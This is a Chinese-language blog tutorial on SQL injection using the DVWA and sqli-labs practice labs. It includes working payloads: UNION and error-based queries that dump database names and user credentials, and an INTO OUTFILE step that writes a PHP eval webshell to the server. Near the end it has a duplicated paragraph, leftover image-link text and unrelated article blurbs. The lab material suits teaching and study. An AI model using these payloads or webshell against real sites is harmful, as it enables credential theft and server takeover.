sql注入基础

2023-11-04

#0x01sql语句基础:

1.select语句

格式:

select * from table(从table表中获取字段信息)

select * from table where (在满足where后的条件下查询字段信息)

2.insert语句

格式:

insert into table(field1,field2) values(value1,value2)

3.update语句

格式:

update table1 set field1=value1 where

4.delete语句

格式:

delete from table1 where

5.order子句

ORDER BY 语句用于根据指定的列对结果集进行排序。

ORDER BY 语句默认按照升序对记录进行排序

如果想要把结果集按照倒序,则需要加上desc关键字

在sql注入中经常利用order by子句显示目标有多少字段

6.and和or运算符

AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。

如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。

如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。

and 和 or的用处在万能密码中就可以体现出来:

Select * from admin where username=’admin’ and password=’’ or 1=1

在sql语句中,and的优先级是大于or的。username=‘admin’的条件(1)为真,password=’'的条件(2)是假的
那么1 and 2=false,在与第三个条件 1=1(3)为真 进行 false or 3=true,结果就是真。 所以,有时候在执行sql注入,执行的语句后就会加上 or 1=1,目的就是利用sql and 和 or 运算符的优先级的差别,来达到用户想要的目的(语句为真,执行输入的语句)

#0x02什么是sql注入?:

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

简单的说就是网页的后台没有对用户发送的语句(以参数的方式传递)进行过滤,使得用户发送的语句直接被sql解释器执行。

#0x03原理分析:

我们可以利用DVWA平台去分析sql注入的原理,DVWA的平台搭建和sqli-labs和upload-labs类似,首先需要php运行环境。把下载的文件夹放到网站根目录(WWW)。

   <?php
   
   if( isset( $_REQUEST[ 'Submit' ] ) ) {
   	// Get input
   	$id = $_REQUEST[ 'id' ];
   
   	// Check database
   	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
   	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
   
   	// Get results
   	while( $row = mysqli_fetch_assoc( $result ) ) {
   		// Get values
   		$first = $row["first_name"];
   		$last  = $row["last_name"];
   
   		// Feedback for end user
   		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
   	}
   
   	mysqli_close($GLOBALS["___mysqli_ston"]);
   }
   
   ?>

如果用户在userid文本框输入ID,输入的语句就会作为id参数的值通过GET(POST)方法提交到后台。通过sql解释器执行,并返回数据库查询的结果。也就是说,如果id传入的不只是一个数字,而是一条语句那么id的值就会被sql解释器执行。例如,用户令id=1’ and 1=1 order by 4 #,那么$query就会变成

$query="SELECT first_name,last_name FROM users WHERE user_id='1' and 1=1 order by 4#"

这样就能查询数据库信息了

0x05sqli-labs


sqli-labs是基于php环境的平台,使用前需要安装php集成环境(php+apache+mysql,部分关卡需要tomcat+java+mysql)。

sqli-labs下载地址:https://github.com/Audi-1/sqli-labs

这里还有一个sqli-labs原作者的教程:https://www.bilibili.com/video/av24783387?t=69

下面结合sqli-labs上的一些基础题目来介绍一些简单的sql注入方式。

0x06less01(联合查询)


在了解题目要求之前,我们先来认识一下sql语句中union操作符。

union操作符的作用是合并多个select语句的结果集,但是使用union时,要保证union操作符内部的select语句要有相同的列

具体语法:

select column1 from table1 union select column2 from table2

注意:union操作符是不会返回相同的值。

union all

作用与union类似,都是合并多个select语句的结果集,但是可以返回重复的值。

题目要求:让用户上传一个参数’id’。

1.判断注入点

首先我们要找到注入点,判断注入点的常用方法之一就是在参数后加上一个单引号或双引号(因为sql语句添加引号会影响到sql语句的闭合,从而报错),如果报错,就可能存在注入点。当然,手工判断注入点的方法还有利用and运算符(and 1=1,and 1=2 ,and ‘1’=1),利用特殊字符报错等等,在这里,就不详细介绍了。

通过尝试可以发现添加单引号后页面会有报错信息,说明页面存在注入点。

接下来就可以构造?id= 1’ ****语句实现注入了。

2.使用 order by子句判断数据库的列数

前面已经介绍了order by子句的作用,当order by子句后面的数字大于当前数据库的列数,语句就会出错。

输入id=1’ order by 4–+发现页面返回信息 “unknown columns ‘4’” 说明当前数据库的列数是小于4的。

输入id=1’ order by 3–+发现页面返回了用户的name password 说明当前数据库的列数刚好等于3,下面就可以构造 select 1,2,3 ***** 来获取数据库的相应信息了。

3.利用 information_schema库

如果继续学习sql注入就会发现select语句经常会用到information_schema这个库来获取数据库的(表,列,字段)的信息。information_schema是mysql自带的数据库,只要用户安装了mysql,在安装的同时,information
_schema这个数据库就会安装到用户的系统中.

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。也就是说information_schema中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。因此,在sql注入中就可以利用information_schema这个库获取其他数据库的信息.

SCHEMATA表:

SCHEMATA 表存储了 Mysql 数据库中所有库相关的信息,比如订单库、用户库这种不同的库。可以在mysql命令行中使用下述语句进行查看:

select * from information_schema.schemata;

TABLES表:
TABLES 表存储了 Mysql 数据库中表的信息。会记录这张表是属于哪个数据库(TABLE_SCHEMA),是做什么的表(表注释),多会创建的(CREATE_TIME),有多少行数据(INDEX_LENGTH)等信息。

select* frominformation_schema.TABLES;

COLUMNS表:

COLUMNS 表存储了 Mysql 数据库中每张表中的列信息。会记录这列是属于哪张表(TABLE_NAME)、以及哪个库(TABLE_SCHEMA)、这列的数据类型是什么、列的注释(COLUMN_COMMENT)等信息。

select* frominformation_schema.COLUMNS
COLUMNS 表中字段 COLUMN_COMMENT 是关于列的注释信息,一般会标明这个列是什么字段,不同的数字代表什么含义(0代表什么、1代表什么)。

4.开始注入

获取数据库的名字:

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+//group_concat()函数是把一组中的非NULL字符串合并为一个字符串的函数

获取security数据库的表名:

?id=-1' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security'--+

获取users表的列:

?id=-1' union select 1,group_concat(column_name),3 from infromation_schema.columns where  table_name='users'--+

获取username ,password:

?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from users--+//concat_ws函数是把一组非NULL字符串拼接为一个字符串,与concat函数相比主要不同是可以一次指定分隔符

#0x07less05报错注入

这关如果直接用联合查询的话,页面只会返回"You are in",而不能返回数据库的信息。这时我们就可以尝试别的方法,比如时间注入,报错注入,布尔注入等等。在这一关可以使用报错注入来返回数据库的信息。

1报错注入的原理:

正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容;如果能让错误信息中返回数据库中的内容,即实现SQL注入。

2.利用group by和rand()的冲突直接报错注入

group by的作用和order by的作用类似,都是对结果集排序(默认升序).而rand()是产生随机数的函数,类似于java的Math.random()。产生一个[0,1)区间的数.如rand()*2,则产生一个[0,2)区间的数。当rand() 和order by 在一起使用时,就会发生冲突。

由于rand和order+by的冲突,即rand()是不可以作为order by的条件字段,同理 也不可以为group by的条件字段。floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误

rand和group by冲突的具体原因

3.开始注入

获取数据库的名字:

?id=1' union select 1,count(*),concat(':',(select database()),':',floor(rand()*2))a from information_schema.schemata group by a--+

其中concat函数的作用和之前group_concat()函数类似也是把一组非NULL字符串拼接为一个字符串。a是 as a的别名。然后返回值不能超过1行数据,所以如果里面的select获取的是多行数据时要加limit(查询多组用limit选择)

获取表:

?id=1' union select 1,count(*),concat(':',(select table_name from information_schema.tables where table_schema='security' limit 0,1),':',floor(rand(0)*2))a from information_schema.tables  group by a--+

获取列:

?id=1' union select 1,count(*),concat(':',(select column_name  from   information_schema.columns where table_name='users'limit 0,1),':',floor(rand(0)*2))a from   information_schema.columns  group by a--+

获取username, password:

?id=1' union select 1,count(*),concat(':',(select concat_ws('`',username,password) from users limit 0,1),':',floor(rand(0*2))) a from users group by a--+

有关报错注入的方法还有很多,这里就不详细介绍了。
#0x08less07上传一句话木马

先在id=1后加上单引号和双引号,页面都显示正常,但是在参数后加上注释,会报错,说明系统过滤注释符。并且sql语句id参数前后很有可能加了(),尝试了很多次发现构造:“id’ =1 ))”,可以使注释不被过滤。


但是之后尝试 union,报错注入发现不能返回需要的信息(可以用布尔和时间盲注)。不过,本题提示利用file权限向服务器传入文件。那么,先看看是否能传入
构造语句:
http://localhost/sqli-labs-master/Less-7/?id=1’)) and (select count(*) from mysql.user)>0–
返回正常说明我们有这个权限.

然后把一句话木马发送到网页,构造语句:id=-1’)) union select 1,2,"<?php

@eval($_POST[‘shell’])?> into outfile “***** \test.php” (******为网页的目录,test.php为上传的一句话木马文件)。
连上中国菜刀,发现能够连接成功,说明注入成功(网页根目录有一句话木马说明上传成功)。

#0x09
0L3p5ZGJrMTIzNDU2,size_16,color_FFFFFF,t_70)
然后把一句话木马发送到网页,构造语句:id=-1’)) union select 1,2,"<?php

@eval($_POST[‘shell’])?> into outfile “***** \test.php” (******为网页的目录,test.php为上传的一句话木马文件)。
连上中国菜刀,发现能够连接成功,说明注入成功(网页根目录有一句话木马说明上传成功)。

#0x09

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql注入基础 的相关文章

  • 前端Vue自定义加载loading组件 通过设置gif实现loading动画 可用于页面请求前loading

    前端Vue自定义加载loading组件 提高用户体验的关键 随着技术的发展 前端开发也变得越来越复杂 传统的一次性整体开发方式已经无法满足现代Web应用程序的需求 为了解决这个问题 我们引入了一种新的开发方式 组件化开发 组件化开发可以将一
  • 将编程上升为中小学主要学科课程,真的靠谱吗?

    近日 有人建议将 编程 上升为中小学主要学科课程 并列入 中高考升学考试体系 此话题瞬间引发广大家长及IT互联网圈内人士热议 褒贬不一 对此 我觉得网上的一种观点非常对 孩子们现阶段需要的是思想和素质教育 而不是单纯地通过某一类技工学科的学
  • 2023最新信息安全毕业设计题目选题大全

    0 简介 毕业季马上就要开始了 不少同学询问学长网安专业选题以及开题相关的问题 今天跟大家分享信息安全毕设选题 最新的信息安全 网络安全 专业毕设选题 难度适中 适合作为毕业设计 大家参考 学长整理的题目标准 相对容易 工作量达标 题目新颖
  • STM32CubeMX之RTC的使用

    本篇文章介绍STM32实时时钟 RTC 的使用方法 前期准备 STM32硬件电路板及仿真器 以STM32F407ZGT6单片机为例 Keil v5以上版本 MDK ARM 串口助手 实时时钟 RTC 是STM32单片机的标配 每个系列的都有
  • yolov5运行报错之RuntimeError: The size of tensor a (80) must match the size of tensor b (56) at.....

    错误 RuntimeError The size of tensor a 80 must match the size of tensor b 56 at non singleton dimension 3 如图 解决方法 https gi
  • idea登录github时出现Invalid authentication data. connect time out问题解决方法

    辛辛苦苦注册好GitHub 安装了git客户端 弄好ssh后 用IDEA登录GitHub账号 又出现问题了 好吧 一番搜查之下终于找到了解决办法 问题图如下 解决办法 file gt setting gt system settings去掉
  • Style 中的 ‘>>>‘ 与 ‘ /deep/(sass/less)‘介绍

    Vue style 深度作用选择器 这两个深度选择器的主要作用就行修改UI库中的默认样式 gt gt gt page gt gt gt van skeleton margin top 10px gt gt gt van skeleton t
  • 合理利用泛型擦除

    曾几何时 一直痛恨java的泛型擦除 为了适配老版的jdk java引入泛型的同时 引入了泛型擦除机制 导致想要获取类中的泛型 需要都个圈子 具体可以看我这篇博客 获取泛型的类 前不久使用Mybatis plus分页 但发现PO对象不满足接
  • Transformer《Attention Is All You Need》精读

    文章目录 1 研究背景 2 研究动机 3 模型结构 3 1编码器 3 2 解码器 3 3 Attention 3 4 Multi Head Attention 3 5 模型中Attention的应用 3 6 Position wise Fe
  • 计算机指令——从纸带说起

    前言 其实很多时候我都会感叹计算机的伟大 通过一个个电路就完成了如今各种系统 通过各种各样的语言就能够指挥设备完成不同的动作 当写下第一个hellow world的时候我就在想他什么怎么出现 今天搞明白其中的原理 我在这和大家分享 打孔卡
  • 使用ROS连接两台电脑时,只能看到对方设备的IP,但是订阅不到ros消息

    ROS连接两台设备 利用Ros通信 两台电脑需要处于同一局域网下 1 查看主机 从机 ip hostname ifconfig 查看ip 如果电脑连接的时有线网 则显示结果中 etho 部分的 inet addr 后面就是该电脑的 IP 地
  • java kotlinlang_Kotlin与Java互操作

    1 Kotlin 调用Javaimport java util fun demo source List val list ArrayList for item in source list add item for i in 0 sour
  • redis基本命令

    转 https www cnblogs com woshimrf p 5198361 html 目录 全局操作 1 redis是key value存储的 放在内存中 并在磁盘持久化的数据结构存储系统 2 redis提供原子自增操作incr
  • 学习算法之路(转载)

    第一阶段 练经典常用算法 下面的每个算法给我打上十到二十遍 同时自己精简代码 因为太常用 所以要练到写时不用想 10 15分钟内打完 甚至关掉显示器都可以把程序打 出来 1 最短路 Floyd Dijstra BellmanFord 2 最
  • Recent Advances in Deep Learning for Object Detection

    Recent Advances in Deep Learning for Object Detection Abstract 1 Introduction 2 Problem Settings 3 Detection Components
  • python修饰器原理_Python修饰器的函数式编程

    Python的修饰器的英文名叫Decorator 当你看到这个英文名的时候 你可能会把其跟Design Pattern里的Decorator搞混了 其实这是完全不同的两个东西 虽然好像 他们要干的事都很相似 都是想要对一个已有的模块做一些
  • 【RDMA】降低CPU除了RDMA (vbers)还是VMA ?

    前言 看介绍 像是mellonx针对其kernel bypass网卡 RDMA网卡 提供的一个lib库 该lib库对外提供socket api 使得用户的程序不需要修改就可以直接使用kernel bypass网卡 如RDMA网卡 我们都知道
  • FPGA内部结构及时序分析

    FPGA时序分析 FPGA内部基本结构 查找表概述 数据传输路径 时序分析模型 知识补充 注 本文内容来源于B站UP主小梅哥爱漂流的视屏内容 本人整理出来前三节课的视频笔记 对视频内容感兴趣的同学可以去看看小梅哥的视频 视频链接为https
  • String数组的创建

    string数组的定义有三种写法 String arr new String 10 创建一个长度为10的String 类型数组 String arr new String 10 String arr 张三 李四 前面两种写法是一样的 可以互
  • Window下编译FFmpeg(生成ffplay)

    第一步 百度或者官网下载mingw https ddd2 pc6 com xy1 mingw5 1 6 rar 解压后安装到c MinGW下 就是默认安装路径 注意安装时选择全部安装 避免有些东西没安装上 如下图 第二步 官网下载msys

随机推荐

  • opencv-python 银行卡卡号识别

    模板 银行卡 主要思路 用遮盖法 将无关紧要的上面和下面部分截掉 保留银行卡号差不多的位置 然后用opencv做图像处理 得到四个 连着数字的小框框 然后再在四个小框框里面提取出每一个单个的数字和模板里面的数字进行对比 难点是 如何使用op
  • 关于PCB走线及过孔的过流能力

    一 关于PCB走线的过流能力 PCB走线的过流能力都与哪些因素有关 目前考虑有走线线宽 铜箔厚度 走线长度 温升这些因素 下面我们逐个分析及整体分析 1 走线线宽 铜箔厚度以及走线长度对过流能力的影响 通过网上的收集及整理 统计出了下面的表
  • Android桌面悬浮窗进阶,QQ手机管家小火箭效果实现

    今天是2013年的最后一天了 这里首先提前祝大家新年快乐 同时 本篇文章也是我今年的最后一篇文章了 因此我想要让它尽量有点特殊性 比起平时的文章要多一些特色 记得在今年年初的时候 我写的第一篇文章是模仿360手机卫士的桌面悬浮窗效果 那么为
  • 在Vue组件中使用js(script标签)转换13位UTC格式的时间戳

    声明 代码来源AI 非本人原创 经测试实际可用
  • websocket-sdk 解决本地服务与浏览器之间的连接, 以及浏览器与服务器之间的数据传输

    最近由于项目业务需求 需要利用websocket完成本地服务与浏览器之间的数据传输 为了满足这个需求 这里自行封装了websocket sdk 这个工具 一 首先介绍下websocket sdk 它的作用 websocket sdk 已经处
  • 十条法则,让企业减少90%的勒索病毒攻击,勒索病毒解密,数据恢复

    建立完善的安全管理体系 企业应该建立完善的安全管理体系 包括安全策略 安全培训 应急响应等 确保每个员工都了解安全意识和操作规范 定期备份数据 企业需要建立定期备份机制 备份关键数据和系统 确保在发生勒索病毒攻击时 能够迅速恢复数据和系统
  • std::shared_ptr 与普通指针的转换

    shared ptr 是一个类 用模板支持很多类型 1 shared ptr到普通指针 shared ptr
  • Avalonia UI程序打包为deb安装包

    目录 相关依赖安装 打包前操作 进行打包 关于快捷方式的说明 相关依赖安装 全局安装打包工具 dotnet tool install global dotnet deb 向工程中安装相关打包依赖 将CMD命令行或PowerShell定位到工
  • jmeter常用插件介绍

    jmeter作为一个开源的接口性能测试工具 其本身的小巧和灵活性给了测试人员很大的帮助 但其本身作为一个开源工具 相比于一些商业工具 比如LoadRunner 在功能的全面性上就稍显不足 这篇博客 就介绍下jmeter的第三方插件jmete
  • C# 线程调用主线程中的控件

    由于项目的需要 最近几天一直在做串口和数据库 由于C 使用的时间不长 所以在编写代码和调试的过程中总是遇到意想不到的问题 比如在使用串口接收数据的时候 在接收数据事件中想把接收的数据放入一个textbox作显示 但是明明非常简单的代码 在编
  • 7-5 两个有序链表序列的交集 (20分) 已知两个非降序链表序列S1与S2,设计函数构造出S1与S2的交集新链表S3。 输入格式: 输入分两行,分别在每行给出由若干个正整数构成的非降序序列,用−

    7 5 两个有序链表序列的交集 20分 已知两个非降序链表序列S1与S2 设计函数构造出S1与S2的交集新链表S3 输入格式 输入分两行 分别在每行给出由若干个正整数构成的非降序序列 用 1表示序列的结尾 1不属于这个序列 数字用空格间隔
  • Intellij IDE 安装Golang插件出现GO SDK报错

    2019独角兽企业重金招聘Python工程师标准 gt gt gt 很多Java同学都是使用IDEA的 当然也可以直接使用 Gogland至少现在还是免费 谁也不知道什么时候又要收费了 所以我们选择了IDEA使用插件方式支持Golang的开
  • 规则引擎Drools使用 第十五篇 Spring Boot整合Drools

    在实际开发中 主要使用的还是以Spring Boot为主 所有下面介绍下Spring Boot整合Drools Spring Boot整合Drools 引入依赖
  • 数据结构-图

    目录 问题 A 邻接矩阵存储的图 节点的出度和入度计算 附加代码模式 问题 B 算法7 12 有向无环图的拓扑排序 问题 C 有向图是否存在环 问题 D 是否为有效的拓扑序列 问题 E 案例6 2 6 最短工期 问题 F 图 节点的最早发生
  • 生信技能树——GEO芯片数据的合并

    GSE83521和GSE89143数据合并 1 下载数据 rm list ls library GEOquery library stringr gse GSE83521 eSet1 lt getGEO GSE83521 destdir g
  • linux 中写汇编,Linux 中的汇编语言(一)

    在阅读Linux源代码时 你可能碰到一些汇编语言片段 有些汇编语言出现在以 S为扩展名的汇编文件中 在这种文件中 整个程序全部由汇编语言组成 有些汇编命令出现在以 c为扩展名的C文件中 在这种文件中 既有C语言 也有汇编语言 我们把出现在C
  • 对接微信公众号的流程

    前言 最近对接一个新的微信公众号 功能比较简单 但是不熟悉微信公众号对接流程的同学可能需要花些时间阅读官方文档和调试 笔者对接过程也是一波三折 于是把流程分享出来帮助没有对接过的同学 对接流程 首先 开发微信公众号的相关功能一般是公司新申请
  • tkmybatis自定义xml报错

    刚刚再写一个项目 然后项目使用的是tk mybatis 后面我有在项目中引入了mybatis plus 想使用公司的自动生成类的文件 当引入进来后 我以为一切都是水到渠成的 当一执行 它给我报个这个错 我一看这个先去配置文件看了下 配置的路
  • 常用C#代码

    常用C 代码 获取系统路径 1 获取电脑的路径 string dir Environment GetFolderPath Environment SpecialFolder DesktopDirectory 获取系统桌面目录路径 strin
  • sql注入基础

    0x01sql语句基础 1 select语句 格式 select from table 从table表中获取字段信息 select from table where 在满足where后的条件下查询字段信息 2 insert语句 格式 ins